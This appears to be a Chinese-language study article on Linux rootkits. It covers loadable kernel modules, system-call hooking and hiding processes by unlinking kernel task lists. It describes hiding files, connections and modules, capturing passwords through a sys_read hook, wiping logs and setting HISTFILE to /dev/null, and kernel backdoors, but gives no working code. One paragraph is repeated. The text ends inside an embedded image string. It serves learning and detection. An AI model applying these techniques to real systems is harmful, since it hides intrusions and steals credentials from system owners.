Linux Rootkit Learning
目录
. 学习Rootkit需要了解的基础知识
. 挂钩(HOOKING)
. 直接内核对象操作
. LSM框架(Linux Security Module)于LKM安全
. rootkit检测技术及工具
1. 学习Rootkit需要了解的基础知识
0x1: 什么是rootkit
rootkit是允许某人控制操作系统的特定方面而不暴露他或她的踪迹的一组代码。从根本上说来,用户无法察觉这种特性构成了rootkit。rootkit会想尽办法去隐藏自己的网络、进程、I/O等信息(注意,这里所谓的隐藏,只是针对ring3的ui隐藏,内核层的功能不能隐藏,否则rootkit自己也无法使用功能了),所以,rootkit的攻防问题很大程度上是一个ring0争夺战的问题,监控程序必须直接深入到系统的底层去获取最原始的数据,才能避免因为rootkit的ring3隐藏导致的误判
0x2: 可装载内核模块(LKM)
Linux就是通常所说的单内核(monolithic kernel),它与微型内核(windows系统中常见)不同
. Linux中的单内核
操作系统的大部分功能都被称为内核,并在特权模式下运行。同时,linux也提供动态扩充系统功能的机制(可以将新的功能加载到内核、从内核去除某个功能),通过Linux内核模块(LKM)可以在运行时动态地更改Linux的内核,以达到
动态扩充和裁剪的目的,这样可以最小化内核的内存占用 . 微型内核
只把基本的功能(进程间通信[IPC]、调度、基本的输入/输出[I/O]和内存管理)当作内核运行,而把其他功能(驱动程序、网络堆栈和文件系统)排除在特权空间之外
LKM与直接编译到内核或典型程序的元素有根本区别
. 典型的程序有一个main函数
. LKM包含entry和exit函数(这里所谓的entry、exit只是一个称号,我们可以任意命名这些函数,只要通过module_init、module_exit宏进行明确声明)。当向内核插入模块时,调用module_init声明的函数,从内核删除模块时
则调用module_exit声明的函数。LKM还包含一组必要的宏和一组可选的宏,用于定义模块的许可证、模块的作者、模块的描述等等
2.6及以上的本的Linux内核提供了更简单的bash命令用于构建LKM
. insmod: 安装LKM
. rmmod: 删除LKM
. modprobe: insmod和rmmod的包装器
. depmod: 用于创建模块依赖项
. modinfo: 用于为模块宏查找值
Relevant Link:
http://www.ibm.com/developerworks/cn/linux/l-lkm/
BSD ROOTKIT 设计.pdf 第一章
0x3: ELF文件格式
关于ELF文件格式的内容请参阅另一篇文章:
http://www.cnblogs.com/LittleHann/p/3871092.html
0x4: 系统调用
关于系统调用的基本原理和内核代码,请参阅另外的文章
http://www.cnblogs.com/LittleHann/p/3871630.html
http://www.cnblogs.com/LittleHann/p/3850653.html
0x5: rootkit技术种类
. 应用级rootkit
通过替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门 . 内核级rootkit
2.1 挂钩hook技术
) 系统调用hook
) 函数api hook
2.2 直接内核对象操作
主要是指在系统不支持lkm机制时修改内核的一种方法,主要通过/dev/mem、/dev/kmem设备直接操作内存,从而对内核进行修改 . 硬件级rootkit
主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权,也可以采用虚拟机技术,使整个操作系统运行在rootkit掌握之中
http://www.rootkitanalytics.com/firmware/hypervisor.php
http://www.rootkitanalytics.com/kernelland/linux-kernel-rootkit.php
0x6: rootkit的目的
. 隐藏文件
通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的readdir实现隐藏文件及目录 . 隐藏进程
隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。 . 隐藏连接
netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。 . 隐藏模块
lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果 . 嗅探工具
) 嗅探工具可以通过libpcap库直接访问链路层,截获数据包
) 也可以通过linux的netfilter框架在IP层的hook点上截获数据包
嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式 . 密码记录
密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能 . 日志擦除
传统的unix日志主要在
) /var/log/messages
) /var/log/lastlog
) /var/run/utmp
) /var
) /log/wtmp下
可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息 . 内核后门
) 本地的提权后门
本地的提权可以通过对内核模块发送定制命令实现
) 网络的监听后门
网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程
http://www.freebuf.com/articles/web/19798.htm
Relevant Link:
http://la-samhna.de/library/rootkits/list.html
http://wenku.baidu.com/view/70ee7a29647d27284b735161.html
http://www.rootkitanalytics.com/
2. 挂钩(HOOKING)
挂钩是一种使用处理程序(叫做挂钩)来修改控制流的编程技术。新的挂钩把它的地址注册为特定函数的地址,这样当那个函数被调用时,挂钩程序就代替它运行。一般,挂钩还会调用原先的函数,目的是维为了持原来的行为
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAnEAAABxCAIAAAA1cGJGAAAUaElEQVR4nO3dv4vbSP8HcP0bU6f74m67q1Sp2XqbLfSAmy3yhYMUAy4CKa4TGA4CB4EBcxA4WASGh0BYGBYeAg8GEQ5CEAPHEYIRhIXvIsRhTBj0LUY/ZiRZK69nbW/2/eou9tr6MfN5S5oZn5MDAACADc6hNwAAAOAHgUwFAACwA5kKAABgBzIVAADADmQqAACAHchUAAAAO5CpAAAAdiBTAQAA7ECmAgAA2IFMBQAAsAOZCgAAYAcyFQAAwA5kKgAAgB3IVAAAADuQqQAAAHYgUwEAAOxApgIAANiBTAUAALADmQoAAGAHMhUAAMAOZCoAAIAdyFQAAAA7kKkAAAB2IFMBAADseMSZKpNofhn45IyJ1aG3ZTcyZt4zN1hkh94QgCdJZuI6ZNQlE57KnT4pEzx8Q92fKL+xtG0HsRLszHGnUbbb0XiSmpkqBfMcxZvwpXlEV4KdObWDhpmMmUc2b0ZjU5sI5ekBNnoDZCpAh1Yv9piQeZ7LlE9Ix7/fU130ds3UG05PHMdxnJOOTK1LVqeuPzkYZOr9dd6npuJq6hPHcU6D6Lb16g2np8dx+lUL7on2G05PWv1knSxe+6c7dcJdyXg2vT6iUAc4Xp29OM/z2yg4tXZlrwJv9/vU4jpgc0CmnJLWNb1MFtPxKYsPWZPEH9OjqOqP3qZnv+UFF3keLtfmSyvBLh5zpuZ5fsOnfxwuU2UWTb2julEGOF6bevFKsDMbKZjn+aEzNc/z9Ho6O2Cm3kaBfxxV/dHrydRzGrxwHcdxX/FEj9UfIFMPSGbxzO/sVADQ4Wlk6iGlMRuT43r4/Ij1ZOoFE+kyfE4ch/izuH6w3srUTHBGXTUo4FLGRTkumAoeMuoRerVUQTIOl9+TaP428D3Kv2XifeCPHIe4NBSZlMliRj3HcRziTxdJ+X2yfFvxypVItY3cPlOlmM/VPao+KkM8FsuUU9Ia28jEVeATx3Ec4tLfI/3yQtvxcsOqESDisVjqQzUeE3KdLF772pAKoTzN10n07jLwnxndLBWcUVe91aOMi+L4l5MpPCa+J9GMus3DBfCD2SpTN3Wcu141MlUbx61HaqsRMcdx6SzSe9w6iX6nLnEc4k7m/M3WmSrF+3lRxKoRWcdxzpj4p65R9Z7qJdGjM73zy0xwpqqoM/KD9yKTZglqzUSRyWKq16QTym+K6Z/P9GOrfzJxKeNVHS6mZZ0zkZbHYeRPPzzZktSfqaty0IK4k6vyGJmZmn1i/okKxfL0EDdYZFpikfOXlx+/JfyV6/4v/df/lOf77TxKZL5O+CvXIS59E86jRKoPHNVNOeWUjMbhF5nnMrmauERr5ffIVJlFv461cYviM4vR+PUyfP5Mj+1sEXhjlVjmO9V2ntEwztTbzA8hZabmeS6X4Zg45h7Vnapq8Vo3S2M2Ju4kFGkx+kuc4sOr1Hd/Dtg7kclcfgnHoyO7FwewaHimbu44d75q3qfK5MOvwW/a5fttFJwXOSGXfOJpc03WCX/lFh8rs/gt9U62zNTbKKBaEStLopq0KL+EY1elY57nxciR/3qRrJvvVM/AvHJLomn1UrMEqaJRV05Vq8ttrkJXT/F45hNPlTuZfJj6o/IIVBcB3ouAzUVaFsCne9d7Z6ZWJ6A6c3qmtpp18eaiwanAMBtQ69lIs5GpNxTnWy7Dcb1aptG7hmVqU512aouz8h7669fw4iLU5jqvBDvX3qxv+UqwM22b18nidXVZJwXz9G9RbXRDprb/RQrmGS2yCOmyj5mfZh4ugB9OZy+uenNdfPo7zqBuRSY8XSWL3+gk1G9wpWCeNrXYKGspp0T/2EHPflsa/Vc9jB2NQ/E1pBfhF21TYuad12/WLwVkzDxtDY9MFtPy6dcdRcPM1OqYV8dWxswjeskqQrq4ImmWoGYBfGIGZGpe3js66n5Ry9SOQQh1fI0nn2amts6famR3hETxgJQYvege96nrhP8ybp5sdbnnNOeOb5j7TihPW41Mt1umdvTJ4l5Wf3SDTIWnYuB9an/HGdatiB+8oW5zZc6GhXlkwtPvKZ8Qo/dtP54ql3zyotl/i7th0lhip6111J1QftO6aND/bKdM7SjjRW1Un4BMNQzL1OrJp+NN+F9xlakqDs2Hq+qRrzoBNjJVDR6cuPTNPPrz6h73qRvHUzVFEzHXDsmYec+6W0bvRIPdMlXtlNk39OOMTIWnZWCm9necb4O6FTmnL7zW0vyVYGcblsC2t+0+c5S08VT9H5nXutCXgnndnb2di/qLu2SqUdKNN2gP7ZCplaGZWj0jdcg5fXFuZKpxjtUJsHWfWjzHL5v4vZ793j3WmMbs1XTxMRyPjLVD6mZ0HC7bf907S9BGppotUj9EyFR4WrbK1E0dZ1i3IhN++3c4HjlkzOLU/KL2qsK8q/dZmvebfWL0t0V8OVZTO43HzsX8koauYlu9ZiFTzasKvfYiUw3DMzWvn5HWR7+YwdQcdCzb386Z2hWiVjI1+xyGfxYD+9FvlH1qTTWqtsSc7iu/Xl//LcvHQaSYLKA+M5qFQu6aqWpygdGCjY6ETIWnZWCm9necYd1KfVpRB+o1hOUtoz7dd728/vCXVNVMD7l7Z6rM4nfhR/Wc7DaavmJxc6pRXm2nOd1XLv97/deqfEmfcyuz6DIUq13HU9UB0YuMcb+BTDX0ZKrf9SNKrZVM6nCXyzlkcjVxT3wVUWU7bk1yO3W0VmgOd+dlUqrHsOpsqfvUdRKFgT9yyIQvP83539KcD7VhL9q9UT1MHtf3waet2QfV2qGiMemDKOXlQvEwvGu6hOo26kOKieba5PWqU8mvfP5n1nEEikOkzzNsblK9U83jCfBD2Tizvf07Sr0dp//V4jmw0btbf6urwlhVoWpO7PXU/0mVg22GjVJxNS0LURqzi9Pm1MhRo6gahafItuqex5z8kedlJVQ338USR20j60yVy//MP97mzdJaVnJ9vnF9K68OThUK5Zs7n/A9Ae1MNQfku5uy+Ysb9QpOfX1q5+cYU/gIvfqq/24nmfDbz9q0IOKxWGZxSD2nWAB6swyfE9Ur/k+fPte+Krzj937VJVtjHYsx/l/Pqo/Ccu/M1bF5vaC2sWCrmqmvloiln5l3SllYviEV4cQtVuV+TxtHoDja2mI4bSGdOUPhjImv2vF8uheG8IO6x+/9dnec0pBudUL5V+17qxUmRiEIrkQ9dagugCN/esXfnBE/uJxHzQWad/zer+q/1S7rQ5XlO4qALO8uHKdahFp+R7VStrn75QIYVcS+CXbu0jdh9VsCRZn1aBhnaWdp1RfFauXO2Cnisc+3+qnZ7XeYH6lH/P+lAQAAOCrIVAAAADuQqQAAAHYgUwEAAOxApgIAANiBTAUAALADmQoAAGAHMhUAAMAOZCoAAIAdyFQAAAA7kKkAAAB2IFMBAADsQKYCAADYgUwFAACwA5kKAABgBzIVAADADmQqAACAHchUAAAAO5CpAAAAdiBTAQAA7ECmAgAA2IFMBQAAsAOZCgAAYAcyFQAAwA5kKgAAgB3IVAAAADuQqQAAAHYgUwEAAOxApgIAANiBTAUAALADmQoAAGDHsWeqFMxzToPo9tAbAiUZM++ZGyyyQ28IbIRztE+Z4OEb6v5E+c2hN+XxWgl25rjTKJOH3pJdtTP1htMTZ6MzJlb73L69ZKpM+YR4TBzp2ZQpn5CNZ4R4LN7rhj9QvU457d7JkR+8nUfJkZ6cwtM4Rw0pp2TfBWELMmYe6ToLjRK329mpv+XkkWXqxh7nOI7j7LsePkymHqKqbLhPlV/C8cghE55qX5rFIT1/6HYjxR/TPTdNtbPH3iXWy/A5aW5kKsKJR3n6oN8s49n0+mG/ovqqZTgmDqn3aJ1EYeCPHGc0Dr8cd6zmT+QcldTO6ifrKKWckq6NzBaBSywlx0qws6MvIN1aPS7Pc5mJkHovjeJv30rM3jzwVxT2XFU2Pfu94fSkman7CLzbKPD33DSlmI39c/dg1eGGT34OLt9Fybr3bepOqNVvH7yYyiyaPngkVDoroLrYbLXG4/M0zlHxnTEb+75LDnReZMp/GQ+51diUqTJmHrHU5Y8wU3c8Pg8feNkiePDYLu23qmyXqQ8sjdm4oyQ9rBtOL5j4yumJQ56Hy/5gexgyieZvA39E/OByYyfYUK8feMuyeOZ3lqQH0tn6i8drR1WzOj2Nc5TneS5T/vKUfb7lE3KwRwjrJHp3GfiE+H2XpE80U/Ndj8+Dyj4xv/Uc9OHst6oMzlQp5nMhc338QA2lqPakDUsUI/bnTKRJ9Dt1ieOM/OkHLSpkJjijXvlc+73IZC6TxdTXHn2fUH5Tho2n7bb+t8SljIvyQN39vR3kMryY8LSohnsf92psTBLNLwOfeJSF9X6VL7bq9UrM3wuZt0+BFMwzBkVSwUNGTz0Wf08WM+o5jkP81wu9m2WCM+qqT/GnVyLN83WyeK2fEkJ5WnbUZ3oD1f7WcSnjohzGk5m4Dhl1PSa+J9GMuurTF5vPSWfrV4/pHuV96vGfowHf27GjX8KLX3gqi4v9w85FKKrEiUvfhPV+lbbI1M215Y5XjUytz+zeZ5902/L4SPF+LlZ5u4k2K/+Q3p0KzqhLVJMNrkSW5zL5MPVHWpOd8FQWpe+Z3se1v3U8yriohlq3LfX7rSoDM1Vm0a/jKm+KAciqxaiRFVUsqvF/70XA5iJtDTLJLJ753iQUqXpm5TqknEzRKElVGTL/lng0jLVzo2Yw3fm9nVaC0WIC1DFUh0J5gelSFl6XLalVr7NFMJ6VW6ufgjwvhxAcjwlZTZ8h7ouAzeOsPcCQfWL+mTqqRVOrJguYzbHqZubfnrg01C6MyhNaTRBwfw7YO5HJ7nF6XbuHF4V+5LNPRz+L9dGdowHf27mfYjYu+qzqd0cRHt2XpEMztae23PmqeZ8qk8WvwfSqlV6HNuz43EYBrc6m1kTVf2uV/+7encbswlOtLr+NglPtiJn5UqW18bdj4qqYKC8ciwa/fanfb1XpzVSDfg+n2lDdkaRgXv2G3ldlzDxt0rlMFtPqgrp9mW/+S+vSsjjlxbHu36ouKaenVYiqPz+idTtFcSwadNfMUu0KoLmzqpmWb+h9dSXYmTGAv3hdXzC2S5LxLyvBzsznGarXlYfR3Iz2OWraME/v2CfCFB7lOerfqi5quMToZUe0bqco0GUb653dWh+0/toyqPKcUH4jkw9T+kvYfMh0TO4+Plr37O+/va9KwTyt1cnkw7R+4tgeWzT+RQrmGUFQXI+WzWzLUr/fqjL02a9czl/OLGRq62Dp7shUlTHGgTDax7aZul6G9EIbCur4/PpeWbuwaM7RP2NipT3wqSrp0L9tb9ig+1T5JXz51kK97h9Y6q/X6nOMvqH2Wr+E2jpTjbsHcX0Z+GTIA8nDe5TnaNtMlcvw4iJc1t2m/fn5Lt1h6N+2N2yH+9T+2jKs8oz84FfqnjfadtfuHPPxWS/D6cxCprau5Az9mdoxPm3eYNwnU/dWVbYfT83zHTK1fxJHf6YWNwFm91D30+oNWx7oZnutGmS7+thr6L2Zet/x1K6dHV6v+ycp9Nfrjrlz5mnaNVMV9eDo+O9WH+U52jJTG6260lUB79Udts4MC+Op/bXl27DKM/Lpc9ch7uRKH9g7fKbedzy1qzEMz9T+Wa79maofW2M7zdC9d6YqD1VV7jfvd8f71E27MShTzd6uD+dsdaDNEWLj6/a/Qt/CvN8d74E2nush9drISPMY2snU8tQf+zSlR3mOtstUY4TY+Lq9z0WwOO+3v7b8M6zynFC+XIbPybGM/duY97vjferGvjAkU806bLQxK5n6UFVl35la3h3q07RkFl2GYnXns99iakbrcT8ZqydR2xxo+SW8oB0rZw5QHXZbn1q9vNtYndN4DJJFs1BNR+0fq1PXeq2x9mpVkp1MfSQ/L/A4z9E2mdocLintf6aS7fWp/bVlUOVR510dbW/Cl/srIR12Pj7Fx+w2nuo0ZgLfRrN/C5nflalq7mp7LkK1astKpj5UVdnmd5S0l1M+KS/HyhnV9YMI1aq0ybrR1HWcsv2tE/7KdQzm1eIJ5Tdy+Z/5x9vW0HT5UUVlWSf8lUvGLFbHpP97dWnMxht+jLC4RGo8wDkCw+a2+bM4k+Vc82ri+z/FoWhUkKqqJlcT13wMTlrzX+RXPv+zmhdaTzotPqroOTK5mrgn9XV6c8K6OkcbVzR2TDqtFoHUJ/poPcZzJPu/V6PmvnYGZ3nJ777iRzbmvXEac/N3lPprS/+rqmiUrVou+cR7DM01z3uOT0FFndoXtezKqx8v9/dudRwMJ605Sqslf/+xmjNcTxEtPqq49ZJLPvGKjlO/OqTUb9jHh6wqA37vtzNZq+WkxA+uRCqYpybUpJ+1AQDiFavC9Uf/eZ6vy0VFTmvhURxSz3HUnHVjS6rczcT7oFjepK0SMwYeNn1v3npn1yP72lGsEKgLVkfT1FVLFUd+8F6kn5l3SlnIxTdjrMVj4lbfzfKislyb2Fp7l4pw4jrEpaHIvhtbUjWMTFwF5SJJbe2jOfBzVvywRn2OzIvKvvmZHmX/vus+/rAe6TlaDfnevPXOrpHF+sXDLvKubf17vxtqS/lxAyqPQyi/1Zr9UT9ZafW4zq2tlpMSf3olvgl2rsZl0yG9W5brVp32yvWQusRRq2WMLak6Tiquqp8s0GJieKnv2kfNQ1WVY///0gAAADwWyFQAAAA7kKkAAAB2IFMBAADsQKYCAADYgUwFAACwA5kKAABgBzIVAADADmQqAACAHchUAAAAO5CpAAAAdiBTAQAA7ECmAgAA2IFMBQAAsAOZCgAAYAcyFQAAwA5kKgAAgB3IVAAAADuQqQAAAHYgUwEAAOxApgIAANiBTAUAALADmQoAAGAHMhUAAMAOZCoAAIAdyFQAAAA7kKkAAAB2IFMBAADsQKYCAADY8f8zOqWkCmY7NwAAAABJRU5ErkJggg==" alt="" />
可以看出,挂钩可用来扩展(或削弱)一个子程序的功能。挂钩可按照rootkit的设计目的来修改操作系统的应用程序编程接口(API)的运行效果(有点类似设计模式中的装饰器设计模式)
0x1: 系统调用挂钩(Hooking a System Call)
系统调用是一种入口点,应用程序通过它向操作系统请求服务。通过挂住这些入口点,rootkit就能改变内核返回给某个或所有用户空间进程的数据。实际上,系统调用挂钩非常地有效,以至被大多数(可公开获取到的)rootkit在某种程度上都使用到了系统调用hook技术
从目前的情况看来,不论是对于尝试编写rootkit的攻击者、还是如要进行入侵检测防御的安全研究员来说,它们都会解除到的系统调用挂钩(Common System Call Hooks)大致有如下
. read, readv, pread, preadv
) 监控: 通过监控系统的读取流,达到恶意文件、webshell内容检测
) rootkit: 劫持系统的输入记录,达到以隐蔽方式获取敏感数据 . write, writev, pwrite, pwritev
) 监控: 监控系统的输出,以达到debug的目的
) rootkit: 劫持并修改系统的输出记录,或者隐藏恶意程序行为的目的 . open
) 监控: 通过监控磁盘的I/O(open)记录,可以发现rootkit、webshell的产生
) rootkit: 隐藏文件内容,使普通ring3程序无法发现rootkit文件本身 . 关键文件/目录保护
4.1 unlink: 禁止删除文件
4.2 chdir: 禁止切换目录
4.3 chmod: 禁止修改文件属性
4.4 chown: 禁止修改所有者
4.5 rename: 禁止重命名文件
4.6 rmdir: 禁止删除目录
4.7 stat, lstat: 隐藏文件状态
4.8 getdirentries: 隐藏文件
4.9 truncate: 禁止文件截短或扩展 . kill
禁止信号传递 . ioctl
操作ioctl请求 . execve
重定向文件的执行 . LKM监控/保护
8.1 kldload: 禁止加载模块
8.2 kldunload: 禁止卸载模块
关于系统调用hook的姿势,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3854977.html
对于系统调用挂钩,这里有几点核心的概念需要我们牢记
. 系统调用挂钩实际上是改变函数指针,而修改这个函数指针的过程我们可以简单概括为:
) 找到这个函数指针的原始位置
1.1) 通过系统提供的API
1.2) 寄存器直接获得基址,在内核数据结构偏移的基础上进行直接内存定位
) 保存原始函数指针的地址
) 通过C语言的指针操作指令进行赋值修改函数指针地址
) 完成系统调用hook . 要为了完成一个特定的任务,通常存在一些不同的入口点可供你挂钩,在整个系统调用的流程中的任何点理论上都可以进行劫持hook
例如: 通过挂钩read系统调用编写了一个击键记录程序;但是,这个任务还可以通过挂钩终端线路规则(termios)转换表中的l_read 入口点来完成
3. 直接内核对象操作
所有的操作系统(linux、windows)都会把内核中的运行状态(包括进程信息、系统内核状态)这些数据以对象的形式保存下来,包括:
. 结构体
. 队列
. 数组
这些内核状态信息往往保存在内核空间的某个地址段中,当我们通过系统向内核查询这些"内核状态信息"(运行进程的列表、开放的端口等)时,这些数据就被解析并返回。
因为这些数据是保存在内存中的,所以可以直接去操作它们,我们没有必要安装一个调用挂钩来改变控制流。这个技术通常叫做"直接内核对象操作(DKOM)"
0x1: 内核队列数据结构(Kernel Queue Data Structures)
关于linux内核中的队列数据结构的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3865490.html
0x2: 隐藏运行进程(Hiding a Running Process)
现在,我们已经linux在内核中是通过链表将各个进程串联起来,也掌握了如何操作这些链表的的"操作宏"。接下来可以继续学习一下如何通过直接修改这些"内核队列结构"来实现改变系统状态的,需要明白的是,不论是在linux还是在windows,所谓的系统状态就是内核中的一个个数据结构、链表共同组成的,我们平时使用API、系统调用去get()、set()各种状态,本质上就是在读写这些内核中的变量,所以,对内核变量进行直接定位并修改是改变linux内核状态的一个最好的思路
现在,我们已经linux在内核中是通过链表将各个进程串联起来,也掌握了如何操作这些链表的的"操作宏"。接下来可以继续学习一下如何通过直接修改这些"内核队列结构"来实现改变系统状态的,需要明白的是,不论是在linux还是在windows,所谓的系统状态就是内核中的一个个数据结构、链表共同组成的,我们平时使用API、系统调用去get()、set()各种状态,本质上就是在读写这些内核中的变量,所以,对内核变量进行直接定位并修改是改变linux内核状态的一个最好的思路
按照这个思想,我们可以直接去操作linux系统中表示进程的链表,断开其中某个元素后,系统在遍历这个链表的时候找不到指定元素,这个进程就被我们"隐藏"了
. The LINUX kernel contains an array of task_struct’s.
. A task_struct is similar to an EPROCESS block in Windows
. task_struct contains pointers to the prev_task and next_task
. task_struct also contains pointers to the prev_run and next_run for the running processes
. To hide a process, remove the process from the list of prev_task and next_task and Leave next_run and prev_run alone
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAA2MAAAHvCAIAAABWvpDUAAAgAElEQVR4nOydXYgdR37oS4bLebkwhIuYgJmHMA9iMXqwCSJYD0v0IGPYROR6sUAgvDdedm1znXmSF8tP8gpsVrBGcBORDNiBlRODQUsUIm1MrNheIu1au4rktTTfc+ac+TjfX31Of50+o74PNdPq6aqurv6u7v7/KIZz+qO6+t891b9T3VWNTAAAgKKCEFptqqtNda2trrXVtZZyMKmrbXWlreCEEEq7vAAAAEkDFR8AAMUFIdQcjpvDcXM0bo7GzaFuTw0rjfTGSAdTBACggEDFBwBAcUEItZQJZwJTBACggEDFBwBAcUEIbQ30zb5GTz2t2lOtBKYIAEABgYoPAIDighAqdzRG2ujq+0kDUwQAoIBAxQcAQHFBCK23VUayd3ABUwQAoIBAxQcAQHFBCK01h55pvTVaaw7BFAEAKCBQ8QEAUFwQQm11160LS1OeNGUDerQAAFBkoOIDAKC4IITa8piRWiPd+gymCABAAYGKDwCA4oIQ2upqW12t0lVxqvY0e8JTNvv6Zh/GUwQAoIhAxQcAQHGxerTgDs64vzPZrwVPB1MEAKCAQMUHAEBxQQjhN/Wtdp68tc+aYk1cbSur8DY/AAAKCVR8AAAUF4TQemtUbsvrzaGVyq1RuTUqt+VyW9773BqVWyMwRQAACghUfN6oqvrxxx9/+eWXaRcEAICIsd7m15YPpNbIcKS2DH2fuVhZWTl//nzapQCAhLh582buT/gsVXxzc3PIxvz8vDXr+PHj9lm3bt0iVz937hxC6KOPPuLf4q1bt9h5Bs45Yebn55ELx44du3r1qqqqaZcRAFIAIdSQxg1p3Bjak7GfxnXbrAyZ4urqquM/3Zplr9YQQsePHydXX1pampqamp2d7XQ6/Bu16mFqnmFyThi32vLw4cOvvPLKyspK2gUEROHrr79GCB05coRzeVVVL168ePjwYYRQqVQ6efLkvXv3Yi1hJGSm4sNUKhV8VEiz+eqrrxBCp0+fNgyDXLHVauF/9VKp5Hejly5dYphimJwT5vTp0wihTz/91JrS6/WuXbtWKpVmZ2ebzWaKZQOAVEAIVTpKtaNudNVyVyl3lXJH2eiqVsJfKz1to5u99z6/9dZbjn95jGEYL774IkLo7t271BUvXryIq7UPP/zQ1xY7nU6pVGKYYuCcE+bevXuOa41hGIuLiy+//LKjnQIoMlgPEELlctlz4aWlpZmZmXPnzkmSZJqmqqpnz55FCD148CD2goYjYxWfaZpuP1jxb+i5uTm3FQO3/OGf4JluU8TgRllyRx48eICjSpVsAMgxCKH1llZu62ttbbWtrbX11ba20lJXWupqS11ta2ttda2jrXe1tQz2fcY3E6h1F64NVldXqSuGafk7fvx41tsUzf0LCnVH8NX9s88+S75UgGicOnXqwoULCKHr1697Lnz8+PGzZ8/ap+B1qT88rl+/zrCOhMlYxWeGMMXAeJpiVnAzRXO/7rtx40bypQKAFEEIrTfV9aa62lDWmup6S1tvqasNZbUhrzaUtaay1hytNUdrLXmtJRfHFMPANsWswDBF/NP66NGjyZcKEIrBYHDkyJGlpSWE0Llz59gLr62tkT8w/u7v/g4h9O///u/k8leuXBHHOrgrvnLZ/OlPzR/+0PzbvzUlKc4ieQCmGBiGKV65cgUhdOHCheRLBQApghDaHujbA63aUzf76mZf2+yr1Z6C0/6UveTDFP/1X80f/tD8m78xv/46zuJ7AKYYGIYpGoaBbzjW6/XkCwaIw61bt7ByTE9Pez6q6FckTp06JY518FV8n39u/o//YSK0l/74j80//CHmgrkCphgYhiniK0oc0QMAkUEItZRJUzYayqShTOqyQaSJlXhN8X//7ye1JUKmV2NDfIApBoZhiuZ+l5c4ogdkiEuXLuGbzvimHPuXgy+RwO2U4lgHX8X3x398oOJDyDxxIuaCuRLMFCVJun///ve+970A/9vsA8yTsyRJr776qt/tRo5nm+KlS5esKYZhlMvl+fn5F154IcEyAkCiIIR2+tp2X92W9G1J3xpojMRliv/v/zlrS4TMf/3X+HeFQmBTrNVq8/Pzwcb+YJsiT8537txJvb8LT5viYDCwJvZ6vd/+9rff+973xLm6A3Fz/PhxbIeffPKJ56Or/KZ4586dmZmZyE0xzCnKUfHdvUup+BAyU/o55dcUHcMceJri3bt3T548WSqVEELHjh27efOm2wHmydk+VoVpmp1O5/z587iH/OHDh8+fP+/WieTmzZvPPvssXvHpp5++ePHizs7Om2++WSqVTp06xd4FNximiDtC3r592yTG17Ci3Ww2f/CDH+DIfP/73ycfSP/2229feuklvMDhw4fffPPN9fV1t8I0m82LFy8+/fTTeCvPPvvszZs3GQu/+eabOG5TU1MvvfTSt99+67aw/QjiUS1++ctfXrx4MfzC8RUDSAuE0EZL2WgplY5W6WgbHZVIyn7ie07x7FlKbfl//2/8u0LBryk6htPyvMmAh/zA/8X4X77ZbFJNkTNnayg0/Iz/r3/962PHjuEpx44dcxtPBP9jTk1NIdvIIzdv3nzmmWcQQl8HegCAYYq3b99GCL344ouOMmOsaN+8edOKDNndQVXV+fl5qwI8duzYtWvXGH0Kv/jiC6s+mZqawqF2W/jmzZtW3GZnZ+fn593GQbMfQVyMDz74wG38YF8Lx1cMQajX69bpgR9dpT6+hZg4/gEd4/05cCuJZ5yDnaIH9sI7Hm6meP++97ox4Pbf63n3+d133yUPjIOPPvoIV1I40NVq9fz58ydOnEBMu/fM+Y033kAIPXz48Omnn7527RruIX/nzp1SqUR9DHZubm5mZubOnTu44sC/MP7oj/4It00GfpLazRSxCp8g2olVVT1y5AiO9u3bt5955pn79+9bu+PoroWvBJcvX8Z7t7Oz8/rrr5dKJWrcbt++XSqVXn755Wq1apqmYRjXrl1DCH3wwQfkwvfu3Zuampqfn8c5S5L03nvvuf1bzs/P49DhIyhJ0uXLl3H1GnLh+IoBpAhCaK2prjXVtRbuzqKtt7S1lmql9ZaC01qL721+VFP8P/8n/l2hELhNsdlssqtT0zQ7nc7s7Oxzzz2HxxdUVfWLL7747ne/a1UawXLG992uXLly7ty5M2fOLC4umvu3ZUql0traGrk8rkh7vR5eEg9G8fd///cPHjwolUrBOuq5maJhGPiKQErMp59+iqNtGMbLL7/83nvvSZKEd8dx5jSbTRw6XKMahvHFF19MTU298MILpCzi3Eql0s2bN3F9srOzc+LEiZmZma2tLXLhV1999fnnn8dxM03z/v37s7OzMzMzS0tLjoU7nQ4etKXValkLP//882T17nfh+IohDp999pm98mcPDmX6vPvMubCvOJt+TlEHHBWfrpv/6385K75nn/VeMR7Yhs6ogHClyfA5fGyuXLnimI7vzDKOmWfOuFJ+5plnHL8C8VBMjocb8A9W3LxngX+yfPLJJ26b4IE0RazC+IcIddAK3DywtLR05swZqwr72c9+5qgor1+/jmht73Nzc6VSyXHK4pr97NmzjjrxyJEjZDS2traouolD57gG1Ot1MnTm/pF15Oxr4fiKwQk5kDKVHDwfljAIodWmstpUVlrKalvFaaWlWGm1pa621JWWutLkG0/x0iWKKf7TP8W/KxQYQ+5jGLUWuzrFwjQ9Pe2oNzqdzvT0NPs8ZOeMT/VS